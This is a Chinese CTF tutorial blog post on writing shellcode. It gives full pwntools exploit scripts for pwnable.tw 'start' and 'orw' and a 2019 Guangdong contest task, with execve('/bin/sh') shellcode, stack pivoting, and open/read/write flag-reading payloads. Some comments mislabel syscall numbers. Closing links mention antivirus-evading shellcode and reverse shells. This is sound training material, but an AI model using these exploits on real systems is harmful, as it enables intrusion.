簡單shellcode學習

2020-12-05 湖南蟻景

引言

之前遇到沒開啟NX保護的時候,都是直接用pwtools庫裡的shellcode一把梭,也不太懂shellcode代碼具體做了些什麼,遇到了幾道不能一把梭的題目,簡單學習一下shellcode的編寫。

前置知識

◆ NX(堆棧不可執行)保護

◆ shellcode(一段16進位的數據,轉化為字符串則為彙編代碼)

pwnable之start

保護檢測

可以看到這道題目什麼保護都沒有開

ida分析

題目只有start函數,可以知道該題是用彙編語言寫的,順便可以鍛鍊一下自己看彙編的能力

彙編代碼分析

簡單來說,程序調用了wirte函數去列印字符,接著調用read函數輸入,但是這裡的輸入沒有限制,因此有一個棧溢出的漏洞,而且程序有個特定,他將esp的值首先壓入了棧中,esp存的是棧頂的地址,使得我們能夠找到棧的地址,為我們返回shellcode做準備

push esp #將esp寄存器的值壓入棧中,這裡可以獲得棧的地址

push offset _exit #將_exit函數地址壓入棧中,使得start函數執行完畢時返回exit函數

xor eax, eax #清空eax寄存器的值

xor ebx, ebx #清空ebx寄存器的值

xor ecx, ecx #清空ecx寄存器的值

xor edx, edx #清空edx寄存器的值

push 3A465443h

push 20656874h

push 20747261h

push 74732073h

push 2774654Ch #壓入一堆字符串,即程序運行時的字符串,Let's start the CTF:

mov ecx, esp ; addr,將字符串的地址放入ecx寄存器中

mov dl, 14h ; len,將列印長度放進dl寄存器中,即16位寄存器

mov bl, 1 ; fd,1為文件描述符,指的是屏幕

mov al, 4 #eax寄存器,存放的是調用號,4調用號即,write函數

int 80h ; LINUX - sys_write,int 0x80調用80中斷

xor ebx, ebx #清空ebx寄存器,0為文件描述符,即外部輸入,例如鍵盤

mov dl, 3Ch #輸入的長度 0x3c

mov al, 3 #3調用號,即read函數

int 80h ; LINUX -

add esp, 14h #恢復棧平衡,因為壓入字符串消耗了0x14的棧空間,使用完畢後需要換遠

retn #返回

函數調用表

思路

◆ 程序開始將esp的值壓入棧中,可以獲得棧的地址

◆ 由於程序沒有限制輸入,因此有棧溢出漏洞,可以修改程序執行的流程

獲得棧地址

根據程序的流程,我們可以畫出棧的情況

跟蹤調試一下,跟我們預期的一樣

繼續跟蹤直到程序運行完add esp,14h,查看一下棧結構

此時返回地址指向exit函數,在執行完ret指令後,esp寄存器內容就為棧地址,想要洩露棧地址,則需要將返回地址修改為write函數,那麼具體返回到哪個地址我們繼續分析。

可以看到0x4調用前,需要往相應的寄存器傳入相應的參數,其中ecx寄存器就是用於指向需要列印字符串的起始地址。

在執行完ret指令後,此時的esp寄存器的內容恰好指向棧頂的地址

0xffffd12c — 0xffffd130

#因為push esp,會使得esp的值減4,因此此時的esp指針指向的內容是舊的esp指針,這點需要注意

因此只要將返回地址修改為mov ecx,esp的地址即可列印出棧的地址

返回棧地址,執行shellcode

由於程序沒有開啟NX保護,即棧空間裡的數據是可以執行的,那麼我們輸入execve()函數調用的彙編代碼,即可執行getshell

shellcode

利用pwntools庫裡的asm()函數,將彙編代碼以16進位的表示形式輸入

可以看到簡單的shellcode編寫需要對照著系統調用號的表,挑取你需要的函數,然後對照著表將參數輸入到對應的寄存器,繼而調用80中斷實現調用函數。

payload1 = 'a'*20+p32(esp+20)#該返回地址需要自己去調試看看自己shellcode的起始地址,算出與洩露出的棧頂地址的偏移即可

payload = asm("mov eax,0xb")

payload += asm("xor edx,edx")

payload += asm("xor ecx,ecx")

payload += asm("push 0x0068732f")

payload += asm("push 0x6e69622f")

payload += asm("mov ebx,esp")

payload += asm("int 0x80")

sh.send(payload1+payload)

完整的exp

pwnable之orw

保護檢測

開啟了canary保護,存在可寫並且可執行的區域

ida分析

orw_seccomp

在該函數裡開啟了沙盒,這裡可以用seccomp-tools去看下沙盒禁用了什麼函數

可以看到,當用i386機器運行此程序時,只允許使用rt_sigreturn,sigreturn,exit_group,open,read,write的系統調用,我們常用的execve調用是不允許被使用的

看一下題目描述,告訴我們flag位於/home/orw/flag處,而且只允許使用open,read,write的系統調用,這是因為其他系統調用被prtcl函數所禁用了,這裡我們關注在於shellcode,prctl則在後面的文章會詳細介紹。

main函數

名為shellcode的變量位於.bss段,在輸入完畢後會將該變量以函數的形式調用,則這道題不需要去尋找shellcode的返回地址,直接輸入一段shellcode即可

思路

◆ 首先程序禁用了execve系統調用,只開放了open,read,以及write的系統調用,意義很明確,是讓我們將flag都出來,而不是取得目標機器的shell

shellcode的編寫

在寫shellcode前,我們可以先用c語言將讀flag的偽代碼寫出來

c語言

shellcode

#首先對照偽C代碼以及系統調用表進行shellcode的編寫

fd = open("/home/orw/flag","w")

#相應的彙編

xor ecx,ecx #清空ecx寄存器,open的調用該寄存器的值設為null

xor edx,edx #清空edx寄存器,open的調用該寄存器的值設為null

mov eax,0x5 #調用號設置為5

push 0x006761 #將/home/orw/flag壓入棧中,注意是棧是先進後出,因此字符串需要從最末尾開始壓入即將字符

push 0x6c662f77 #轉為16進位要反向排序,並且字符串需要添加截斷符\x00,push要以4位元組為單位。

push 0x726f2f65

push 0x6d6f682f

mov ebx,esp #fd的值為路徑的地址

int 0x80 #調用80中斷,實現系統調用

#c語言

read(fd,buf,0x20)或read(3,buf,0x20)#這裡的3為其他文件描述符,下面會詳細介紹

#相應的彙編

mov eax,0x4

mov ebx,0x3 #這裡用3代替了oepn返回的fd指針,因為3可以用作於打開文件時的文件描述符,若想用open返回的指針則應該將系統調用號移動到eax寄存器前,先保存eax的內容。

mov ecx,esp #將esp作為臨時變量buf的地址

mov edx,0x20 #讀入的長度為0x20

int 0x80 #調用80中斷,實現系統調用

#c語言

write(1,buf,0x20)

#相應的彙編

mov eax,0x3#系統調用號0x3

mov ebx,0x1#文件描述符為1,指向屏幕

mov ecx,esp #將esp作為臨時變量buf的地址

mov edx,0x20 #列印的字符串的長度

int 0x80 #調用80中斷,實現系統調用

#這裡可以用pwntools庫的一個函數代替,shellcraft

c語言:open("/home/orw/flag") <==> 彙編:asm(shellcraft.open("/home/orw/flag"))

c語言:read(3,buf,0x20)<==> 彙編:asm(shellcraft.read(3,"esp",0x20)

c語言:write(1,buf,0x20)<==>彙編:asm(shellcraft.write(1,"esp",0x20))

文件描述符

內核(kernel)利用文件描述符(file descriptor)來訪問文件。文件描述符是非負整數。打開現存文件或新建文件時,內核會返回一個文件描述符。讀寫文件也需要使用文件描述符來指定待讀寫的文件。(來自百度百科)

◆ 0代表標準輸入流,stdin

◆ 1代表標準輸出流,stdout

◆ 2代表標準錯誤流,stderr

當打開一個新的文件時,它的文件描述符為3

exp1

from pwn import *

context(log_level='debug',arch='i386',os='linux')

#sh = remote("node3.buuoj.cn",29479)

sh = remote("chall.pwnable.tw",10001)

sh.recvuntil("shellcode:")

payload = asm(shellcraft.open("/home/orw/flag"))

payload += asm(shellcraft.read(3,"esp",100))

payload += asm(shellcraft.write(1,"esp",100))

sh.sendline(payload)

sh.interactive()

exp2

from pwn import *

context(arch='i386',os='linux')

#sh = remote("node3.buuoj.cn",25212)

sh = remote("chall.pwnable.tw",10001)

sh.recvuntil("shellcode:")

payload = asm("xor ecx,ecx")

payload += asm("xor edx,edx")

payload += asm("mov eax,0x5")

payload += asm("push 0x006761")

payload += asm("push 0x6c662f77")

payload += asm("push 0x726f2f65")

payload += asm("push 0x6d6f682f")

payload += asm("mov ebx,esp")

payload += asm("int 0x80")

payload += asm("mov eax,0x3")

payload += asm("mov ebx,0x3")

payload += asm("mov ecx,esp")

payload += asm("mov edx,0x20")

payload += asm("int 0x80")

payload += asm("mov eax,0x4")

payload += asm("mov ebx,0x1")

payload += asm("mov ecx,esp")

payload += asm("mov edx,0x2")

payload += asm("int 0x80")

sh.sendline(payload)

sh.interactive()

2019廣東強網杯線下題目

保護檢測

同樣是基本沒開啟防護,並且具有可寫並可執行區域

ida分析

main函數

程序有1,2,3,三個選擇,選擇1 時僅僅是列印一串無作用的字符串,選擇2時會當挑戰滿足時會列印棧地址,選擇3可以執行棧溢出漏洞

僅僅只有0x10的溢出空間,可以恰好覆蓋返回地址

magic函數

當傳入的參數a2的值等於305419896時,則列印a1的值

我們可以看下magic函數傳入的兩個變量,一個為buf的地址,一個為局部變量v11,v11的值可以通過buf溢出後修改

思路

◆ 程序存在棧溢出的漏洞,但是溢出的字節數較少,只能剛好溢出返回地址

◆ 程序可以利用棧溢出覆蓋變量v11的值,從而洩露buf的地址

◆ 這道題我們用另一種思路,在棧上寫棧轉移的彙編代碼,將棧轉移到.bss段中,在向.bss段寫入shellcode,需要注意的是該題是64位,而64位的系統調用號與32位不同。

彙編代碼分析

payload = asm("mov rax,0;") #系統調用號

payload += asm("mov rdi,0;")#文件描述符

payload += asm("mov rsi,0x601080")#.bss段地址,用於buf地址

payload += asm("mov rdx,0x40")#輸入長度

payload += asm("syscall")#syscall啟動調用

payload += asm("push 0x601080")#返回地址

payload += asm("ret")#ret指令返回任意地址

payload = payload.ljust(0x38,'b')

payload += p64(addr)

完整的exp

from pwn import *

context(log_level='debug',arch='amd64',os='linux')

sh = process("./pwn")

sh.recvuntil(" your choice:")

sh.sendline("3")

sh.recvuntil("What?")

payload = 'a'*0x28+p64(305419896)

sh.send(payload)

sh.recvuntil(" your choice:")

sh.sendline("2")

sh.recvuntil("It is magic: [")

addr = int(sh.recv(14),16)

print 'addr:'+hex(addr)

sh.sendline("3")

sh.recvuntil("What?")

payload = asm("mov rax,0;")

payload += asm("mov rdi,0;")

payload += asm("mov rsi,0x601080")

payload += asm("mov rdx,0x40")

payload += asm("syscall")

payload += asm("push 0x601080")

payload += asm("ret")

payload = payload.ljust(0x38,'b')

payload += p64(addr)

#attach(sh)

sh.send(payload)

payload = asm("mov eax,59") #調用59號系統調用,execve("/bin/sh",0,0);

payload += asm("xor rsi,rsi")

payload += asm("xor rdx,rdx")

payload += asm("mov rdi, 0x6010a8")

payload += asm("syscall")

payload = payload.ljust(0x28,'\x00')

payload += '/bin/sh\x00'

attach(sh)

sh.send(payload)

sh.interactive()

總結

◆ shellcode的編寫的需要藉助調用表,根據調用表的參數值,往對應的寄存器賦值

◆ start例題學會常用的系統調用execve("/bin/sh",0,0)的編寫

◆ orw例題則學會讀給定路徑的內容,從而學習open,read,write系統調用的編寫

◆ 廣東強網杯這題則靈活利用棧可執行的條件,使用彙編實現棧轉移,以及往指定地址寫入內容。

合天網安實驗室推薦實驗--shellcode原理

(shellcode是一段用於利用軟體漏洞而執行的代碼,可在有能力劫持指令寄存器後,在內存中塞入一段可讓CPU執行的shellcode機器碼,讓電腦可以執行攻擊者的任意指令。)

相關焦點

  • C/C++免殺CS shellcode實踐
    概述什麼是shellcode百度百科這樣解釋道:shellcode是一段用於利用軟體漏洞而執行的代碼,shellcode為16進位的機器碼,因為經常讓攻擊者獲得shell而得名。翻譯成人話就是:shellcode是一段執行某些動作的機器碼。
  • 工具:C 程序轉換ShellCode利器
    可通過Donut將其轉換成shellcode,用作測試Donut生成shellcode的功能是否有效。2)DonutTestc#程序,編譯後生成文件DonutTest.exe,用於向指定pid的進程注入shellcode。數組中保存base64加密後的shellcode,解密後通過CreateRemoteThread注入到指定進程。
  • shell是什麼?shell實現原理分析基於MM32 MCU的shell腳本源碼
    shellDisplay(shell, 「| (C) COPYRIGHT 2019 MindMotion |\r\n」);   shellDisplay(shell, 「| shell v」SHELL_VERSION「 |\r\n」);   shellDisplay(shell, 「| Build: 」__DATE__「 」__TIME__「 |\r\n」);
  • shell調試教程之MM32 MCU的J-Link RTT方式實現shell功能
    MM32 MCU上使用shell來輔助開發,介紹的是通過串口方式的shell,但是有時候我們硬體串口不多或者被佔用,這樣通過串口方式的shell就無法使用了,所以希望有新的方法實現shell,本次我們介紹J-Link RTT的方式來實現shell功能。
  • python交互式shell-ipython
    前言在寫Python的時候,有時候需要命令行來測試一段代碼,這時候就會用到交互式的shell。直接輸入python就可以進入默認的shell,但是都沒有提示,用起來不是很爽。這時候就可以用上ipython。
  • 計算機學習 | 幾種Linux下反彈shell的方法總結
    文章來源:LemonSec 在滲透測試過程中我們需要把測試目標的shell反彈到我們的主機中,方便測試。比如在測試到命令注入時,可以反彈shell進行進一步測試。
  • 超詳細的Shell中特殊字符的用法總結大全
    超詳細的Shell中特殊字符的用法總結大全 Linux下無論如何都是要用到shell命令的,在Shell的實際使用中,有編程經驗的很容易上手,但稍微有難度的是shell裡面的那些個符號,各種特殊的符號在我們編寫Shell腳本的時候如果能夠用的好,往往能給我們起到事半功倍的效果,那麼這些特殊符號所代表的意思你知道嗎
  • 深度學習與強化學習
    隨著 DeepMind 公司的崛起,深度學習和強化學習已經成為了人工智慧領域的熱門研究方向。
  • 經緯度編碼方法推薦-plus code簡介
    世界上確實有無法使用門址表示的地方,而經緯度的數值也超出了常人的可記憶範疇,所以Google希望通過一種編碼方法,簡單明了地表示世界上任一位置。使用字符串編碼來表示經緯度,其實有多種編碼方案,但plus code有什麼優勢?我們後面再講。只是,羅孚使用plus code並不僅僅為了表示地球上的位置這麼簡單。
  • 條碼生成器如何批量生成code 11碼
    code11條形碼是為了滿足高信息密度矩陣的特殊應用需求所研發出來的,code11條形碼支持數字「0-9」和特殊字符「-」 11個字符,故又稱code 11碼。接下來我們看下用條碼生成器批量生成code 11碼的方法。
  • QRcode 大揭秘!
    捷安特於2013年8月推出「碼上防偽」購車無憂概念,歷時3年,車主QRcode於2016年全面升級。QRcode車種涵蓋捷安特、Liv、莫曼頓 3品牌全部全新產品,並被全國專賣店、消費者廣泛接受使用。捷安特相信隨著車主QRcode的廣泛應用,消費者將更安心,方便的購買到捷安特產品,享受騎行的樂趣!
  • 黑屏操作利器,多屏批量shell命令發送
    app -  |-中心-| --> vm No.1 -> log        |      --> vm No.2 -> log        |-單元-| --> vm No.3 -> log               --> vm No.4 -> log      我們先想個簡單的方式解決這個問題,tmux作為一款
  • 俚語口頭禪:美國俚語:Dress code什麼意思?
    新東方網>英語>英語學習>口語>實用口語>正文俚語口頭禪:美國俚語:Dress code什麼意思?   剛到美國,我利用課餘時間在一家餐館打工,負責接電話。
  • 二維碼「QR Code」中的「QR」到底是什麼意思?
    維基百科是這麼解釋的: 「A QR code (abbreviated from Quick Response code) is a type of matrix barcode (or two-dimensional barcode) first designed in 1994 for the automotive industry in Japan.
  • ShellShock漏洞影響廣泛 企業如何防範?_網康 NF-S360-A_網絡設備...
    如果Bash是默認的系統shell,網絡攻擊者可以通過發送Web請求、secure shell、telnet會話或其它使用Bash執行腳本的程序攻擊伺服器和其它Unix和Linux設備。  Bash除了可以將shell變量導出為環境變量,還可以將shell函數導出為環境變量。
  • 藝術|二維碼-QR Code
    QR code (abbreviated from Quick Response Code) is the trademark for a type of matrix barcode (or two-dimensional barcode) first designed for the automotive industry in Japan.
  • 走進二維碼(QR Code)的世界之引言
    今天痞子衡就先給大家簡單介紹一下QR Code基本知識以及這個專題後續的推進計劃:一、QR Code入門1.1 二維碼起源與種類在介紹二維碼之前,很有必要先提一下它的老大哥條形碼(barcode),條形碼技術早在20世紀40年代就被發明出來了,只不過到了70年代雷射束掃描器的問世才使得條形碼技術真正落地
  • 年會的Dress Code怎麼穿?最全的套路安排上!
    發給每個人的Dress code無異,如何在「體制內」穿出不一樣才是本事。Dress code,可能這個詞彙對於大多數人來說是有點陌生的。但往前推個幾十年,在很多歐美國家的上流階層,搞不清這個詞彙裡的要求可是非常頭疼的一件事。